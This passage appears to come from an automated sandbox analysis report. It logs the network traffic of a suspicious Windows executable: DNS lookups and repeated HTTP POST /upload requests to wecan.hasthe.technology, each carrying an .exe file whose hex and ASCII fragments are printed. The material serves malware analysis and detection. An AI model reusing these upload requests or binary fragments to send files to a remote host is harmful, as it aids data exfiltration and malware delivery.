Oct 10, 2024 21:03:18.419037104 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.419064045 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.419092894 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.419094086 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.419111013 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.419147015 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.419313908 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.419367075 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.423299074 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.423356056 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.423532009 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.423583984 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.423893929 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.423922062 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.423945904 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.423949003 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.423978090 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.423980951 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424007893 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.424036026 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.424093008 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424119949 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424153090 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424180031 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424185038 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.424211979 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424233913 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.424261093 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.424280882 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.424312115 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.428296089 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.428406954 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.428495884 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.428555012 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.428802967 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.428837061 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429187059 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429213047 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429308891 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429658890 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429718018 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429744005 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429790974 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429816961 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.429828882 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.430007935 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.430033922 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433140039 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433170080 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433197975 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433223963 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433341980 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433741093 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433768034 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433865070 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.433911085 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.719055891 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.727473021 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.733139992 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.733304977 CEST	50679	80	192.168.2.4	104.21.59.199

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 21:01:12.781553030 CEST	61797	53	192.168.2.4	1.1.1.1
Oct 10, 2024 21:01:12.802309990 CEST	53	61797	1.1.1.1	192.168.2.4
Oct 10, 2024 21:01:56.737682104 CEST	53	56600	162.159.36.2	192.168.2.4
Oct 10, 2024 21:01:57.249439001 CEST	53	62104	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 10, 2024 21:01:12.781553030 CEST	192.168.2.4	1.1.1.1	0xa780	Standard query (0)	wecan.hasthe.technology	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 10, 2024 21:01:12.802309990 CEST	1.1.1.1	192.168.2.4	0xa780	No error (0)	wecan.hasthe.technology		104.21.59.199	A (IP address)	IN (0x0001)	false
Oct 10, 2024 21:01:12.802309990 CEST	1.1.1.1	192.168.2.4	0xa780	No error (0)	wecan.hasthe.technology		172.67.183.40	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wecan.hasthe.technology

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:12.813492060 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------4e7e7b554839d13b
Oct 10, 2024 21:01:13.267910004 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:13.268841028 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 65 37 65 37 62 35 35 34 38 33 39 64 31 33 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------4e7e7b554839d13bContent-Disposition: form-data; name="file[]"; filename="rifaien2-MkDE7nUolYAvIS4K.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:13.269130945 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:13.274815083 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:13.274832010 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:13.274930954 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:13.274974108 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:13.274986029 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:13.275013924 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:13.275155067 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:13.275167942 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:13.577811003 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:13 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:13 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pLA5b5FYH0u7XkWnVlvJV49KuLMwLoRM%2BGCekVVxoQXQnsP9H9%2BwQtWRS2hsq4bMf2Lt7M2qynKV8nqz7pJQwbbJPd0NM7io8EFWVy10P0bWO3tLzK9r2LcTc3NikCLzwI9K18Oax26g5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08db95b88b4358-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:13.727727890 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------142ce2cdffdf34b0
Oct 10, 2024 21:01:14.191318035 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:14.192650080 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 34 32 63 65 32 63 64 66 66 64 66 33 34 62 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------142ce2cdffdf34b0Content-Disposition: form-data; name="file[]"; filename="rifaien2-OTSOrmhlpPBxx1z0.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:14.193052053 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:14.199304104 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:14.199352026 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:14.199378967 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:14.199630976 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:14.199664116 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:14.199712038 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:14.199743986 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:14.204324961 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:14.515232086 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:14 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:14 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4hb3w12NGvi%2BtRw597SCJNBT%2Bn9RfSVKyyENR838ZT4jUMO5RdBa%2Bqy7x7dwS0HcYpO7acWIB6ENigA%2BRkyxMKQMCJK2FqrsEapPz0CE6oCenM2YSyFbO%2FUnlIZItAKuuDw0jnmFsADbNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08db9b89acc342-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:14.857393026 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------d48a53f32ef5d37f
Oct 10, 2024 21:01:15.320950031 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:15.322505951 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 34 38 61 35 33 66 33 32 65 66 35 64 33 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------d48a53f32ef5d37fContent-Disposition: form-data; name="file[]"; filename="rifaien2-YQ9gXxkityqTj37o.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:15.322793961 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:15.327792883 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:15.327888012 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:15.327918053 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:15.327967882 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:15.328005075 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:15.328042030 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
